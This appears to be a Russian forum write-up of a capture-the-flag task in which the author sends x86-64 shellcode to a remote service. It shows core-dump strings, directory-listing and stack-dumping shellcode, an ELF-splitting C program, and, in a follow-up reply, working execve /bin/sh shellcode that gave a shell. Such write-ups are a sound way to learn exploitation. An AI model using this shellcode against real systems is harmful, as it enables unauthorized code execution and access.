xverizex@localhost:~/codeby> strings out.core
[CODE]
 kIwU
CORE
2kIwU
CORE
task
/app/task 
IGISCORE
CORE
ELIFCORE
/app/task
/app/task
/app/task
/app/task
/app/task
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
CORE
////////////////
Enter your shell
LINUX
////////////////
Enter your shell
/lib64/ld-linux-x86-64.so.2
mgUa
__cxa_finalize
fgets
mprotect
__libc_start_main
stdout
fflush
stdin
getpagesize
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Enter your shellcode: 
:*3$"
GET / HTTP/1.1
Enter your shellcode: 
GET / HTTP/1.1
From: bingbot(at)microsoft.com
Host: 62.173.140.174
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
 kIwU
V<- N
$ ($
@h &
lA@1
*0" 
b"R$
h    Pt@
@T@r
WDH",b
 %;@
@@!B
gT DA 
RPU B
0T;8B
*v$&t
!@ d
CAk[S
 kIwU
2kIwU
3kIwU
2kIwU
2kIwU
2kIwU
2kIwU
2kIwU
BkIwU
BkIwU
"kIwU
"kIwU
"kIwU
"kIwU
"kIwU
2kIwU
"kIwU
2kIwU
0mIwU
/lib/x86_64-linux-gnu/libc.so.6
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
sBjC(
_rtld_global
_dl_audit_preinit
_dl_find_dso_for_object
_dl_exception_create
__libc_stack_end
_dl_catch_exception
_dl_fatal_printf
_dl_audit_symbind_alt
_dl_deallocate_tls
_dl_signal_exception
__tunable_get_val
__libc_enable_secure
__rseq_offset
__tls_get_addr
_dl_get_tls_static_info
_dl_exception_free
_dl_debug_state
_dl_argv
__rtld_version_placeholder
__nptl_change_stack_perm
_dl_allocate_tls_init
_rtld_global_ro
_dl_rtld_di_serinfo
_dl_x86_get_cpu_features
_dl_mcount
__rseq_flags
_dl_allocate_tls
__nptl_initial_report_events
_dl_signal_error
_dl_exception_create_format
__rseq_size
_r_debug
_dl_catch_error
ld-linux-x86-64.so.2
GLIBC_2.2.5
GLIBC_2.3
GLIBC_2.4
GLIBC_2.34
GLIBC_2.35
GLIBC_PRIVATE
glibc.rtld.nns
glibc.elision.skip_lock_after_retries
glibc.malloc.trim_threshold
MALLOC_TRIM_THRESHOLD_
glibc.malloc.perturb
MALLOC_PERTURB_
glibc.cpu.x86_shared_cache_size
glibc.pthread.rseq
glibc.mem.tagging
glibc.elision.tries
glibc.elision.enable
glibc.malloc.hugetlb
glibc.cpu.x86_rep_movsb_threshold
glibc.malloc.mxfast
glibc.rtld.dynamic_sort
glibc.elision.skip_lock_busy
glibc.malloc.top_pad
MALLOC_TOP_PAD_
glibc.cpu.x86_rep_stosb_threshold
glibc.cpu.x86_non_temporal_threshold
glibc.cpu.x86_shstk
glibc.pthread.stack_cache_size
glibc.cpu.hwcap_mask
LD_HWCAP_MASK
glibc.malloc.mmap_max
MALLOC_MMAP_MAX_
glibc.elision.skip_trylock_internal_abort
glibc.malloc.tcache_unsorted_limit
glibc.cpu.x86_ibt
glibc.cpu.hwcaps
glibc.elision.skip_lock_internal_abort
glibc.malloc.arena_max
MALLOC_ARENA_MAX
glibc.malloc.mmap_threshold
MALLOC_MMAP_THRESHOLD_
glibc.cpu.x86_data_cache_size
glibc.malloc.tcache_count
glibc.malloc.arena_test
MALLOC_ARENA_TEST
glibc.pthread.mutex_spin_count
glibc.rtld.optional_static_tls
glibc.malloc.tcache_max
glibc.malloc.check
MALLOC_CHECK_
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
 kIwU
glibc-hwcaps/x86-64-v3/glibc-hwcaps/x86-64-v2/tls/haswell/x86_64/tls/x86_64/
 kIwU
IVATE
early_init
strnl
2kIwU
$B#A
Dsvx86_64
/app/task
HOSTNAME=aee83c5ed1a2
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=172.17.0.97
TCPLOCALPORT=8000
TCPREMOTEIP=40.77.167.45
TCPREMOTEPORT=56706
TCPREMOTEHOST=msnbot-40-77-167-45.search.msn.com
/app/task
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
%pmd
ATSH
[A\]
AUATS
[A\A]]
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
Судя по выхлопу, core принимает соединение и запускает task с нужным параметрами. Как видно по выходным данным, нет нашего флага, но есть env как HOME=/root. стоит посмотреть что там находиться.
Я написал вот такой shellcode.
Код:
section .text

global _start

_start:
    mov cl, 14
cycle:
    push rax
    dec cl 
    jne cycle
    mov al, 2
    pop rdx
    pop rsi
    inc rsi
    shl rsi, 16
    mov rdx, 0x746f6f722fffffff
    shr rdx, 8 * 3
    push rdx
    lea rdi, [rsp]
    syscall
    mov [rbp - 8], rax
    mov edi, eax
    lea rsi, [rsp + 32]
    pop rdx
    inc dl
    shl dx, 9
    mov al, 78
    syscall
    mov [rsp + 16], rax
    mov al, 1
    xor edi, edi
    inc edi
    lea rsi, [rsp + 32]
    mov dx, 512
    syscall
Он умещался в 83 байта, но содержимое каталога не выводил. Скорее всего в каталог не получается войти, потому что не хватало прав. И тут я опустил руки. У меня не было больше идей где может храниться флаг.
Потом меня посетила ещё одна идея прочитать .. каталог, но всё безуспешно. Также я пробовал /app каталог прочитать, но тоже ничего не получилось. Тогда я решил исследовать core файл. В нем хранилось несколько ELF программ.
Я решил написать программу, которая разделит эти elf файлы на части. Вот написанная программа.
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main (int argc, char **argv)
{
    if (argc < 2) {
        exit (0);
    }
    printf ("[+] Processing...\n");

    FILE *fp = fopen (argv[1], "r+");
    fseek (fp, 0, SEEK_END);
    uint64_t size_file = ftell (fp);
    fseek (fp, 0, SEEK_SET);

    uint8_t *data = malloc (size_file + 1);
    data[size_file] = 0;
    fread (data, 1, size_file, fp);
    fclose (fp);

    FILE *out = NULL;

    uint8_t *s = data;

    int num_file = 0;
    char filename[512];

    while (1) {
        /* cheching elf */
        if (
                *(s + 0) == 0x7f &&
                *(s + 1) == 'E' &&
                *(s + 2) == 'L' &&
                *(s + 3) == 'F') {
            if (out) {
                fclose (out);
            }
            snprintf (filename, 512, "%d.elf", num_file++);
            printf ("[+] %s\n", filename);
            out = fopen (filename, "w");
        }
        fwrite(s, 1, 1, out);
        s++;

        if (size_file == 0)
            break;
        size_file--;
    }

    fclose (out);
}
Получилось 5 файлов, который распаковались.
Код:
0.elf  1.elf  2.elf  3.elf  4.elf  5.elf  main.c  makefile  out.core  test
Меня привлёк 5.elf, но он не работал также как и другие *.elf файлы.
Я всё не мог понять. Задание вроде лёгкое, но я постоянно думаю не в том направлении. Что же можно ещё предпринять, чтобы найти флаг? Я решил посмотреть все строки у этих файлов и единственная годная информация была вот эта, но она ничего такого не говорила, так как порты фильтровались и доступа к ним не было.
Код:
xverizex@localhost:~/codeby/outcore> strings 4.elf 
 kIwU
IVATE
early_init
strnl
2kIwU
$B#A
Dsvx86_64
/app/task
HOSTNAME=aee83c5ed1a2
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=56706
TCPREMOTEHOST=msnbot-40-77-167-45.search.msn.com
/app/task
Зачем здесь msnbot-40-77-167-45.search.msn.com не понятно. Он не открывался в браузере, может быть нужно было через vpn заходить, но я не думаю, что задачка требует, чтобы через vpn заходить. Так что нужно идти дальше.
Иногда порывались мысли о том, чтобы спросить в телеграм группе о подсказке, но мне казалось, если я так сделаю, то буду чувствовать себя неуверенно. Потому что вроде знания есть, а я не могу справиться. Я был из-за этого недоволен, но немного, так как интерес к самой задачке мне нравился и я постоянно думал о ней, даже когда гулял. Уж так она запала в мои мысли, надеюсь мне будут сниться хорошие сны. Нужно было обдумать что ещё можно исследовать. В каталоге вроде как два файла всего, в переменных окружения нет ничего такого. Откуда читать флаг? )) Мне пришла ещё одна идея попробовать прочитать root директорию, не HOME=/root, а /. Но ничего не вышло. Удаленный сервер ничего не возвращал в ответ, так что нужно было думать дальше. Я даже попробовал простой ret вставить, чтобы выйти и продолжить выполнение программы дальше, но из этого тоже ничего не вышло.
Далее я сделал более совершенный считыватель стека, чтобы посмотреть переменные окружения.
Код:
section .text

global _start

_start:
        mov rbp, rsp
        mov rsi, rsp
cycle:
        mov rdx, 1
        mov rdi, 1
        mov rax, 1
        syscall
        inc rsi
        jne cycle
Сохранил это в файл и получил почти тоже самое что и у 4.elf.
Код:
xverizex@localhost:~/codeby> strings log.out.stack 
G".=
@P.=
_^Ax
_^Ax
x86_64
/app/task
HOSTNAME=5e7b577b1006
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=47148
/app/task
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Теперь понятно, теперь понятно. TCPREMOTEIP это наш ip. Так у меня белый ip, я узнал его. TCPLOCALIP это внутренный ip в локальной сети. Получается, что здесь есть перенаправление портов. Жаль, что это нам ничего не даёт.
PWD=/app. HOME=/root. В голове пусто. Надо ещё один вариант проверить, который пришел мне в голову. Попробовать записать данные в этот каталог. Получиться ли создать файл? Если такое получиться сделать, то можно переписать task, чтобы при следующем запуске выполнилась наша программа. Но размер поступающих данных ограничен 88 байт. надо постараться что-то придумать. Хотя ладно, записать файл в каталог, а что делать дальше? Если task переписать, то тоже неплохо, но я не думаю, что так решается задача. Запись файла в каталог не буду пробовать. Я думаю, что здесь надо было просто правильно shellcode прописать, видимо я неправильно прописал execve. Может поэтому не сработало, но в конце концов я и этот момент тоже изучу. Всё-таки я склоняюсь к тому, что не правильно сделал execve. Задача была простой, и я пока не справился. Чтож, продолжу выполнения уже без описания моих дальнейших действий.
Спасибо за внимание.
 

xverizex

Green Team
29.12.2022
24
11
BIT
194
Оказывается, что я неправильно писал shellcode для вызова sh. Вот правильный вариант и мы в системе.
Код:
section .text

global _start

_start:
    xor rdx, rdx
    push rdx
    mov rdi, 0x68732f6e69622fff
    shr rdi, 8
    push rdi
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 59
    syscall
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!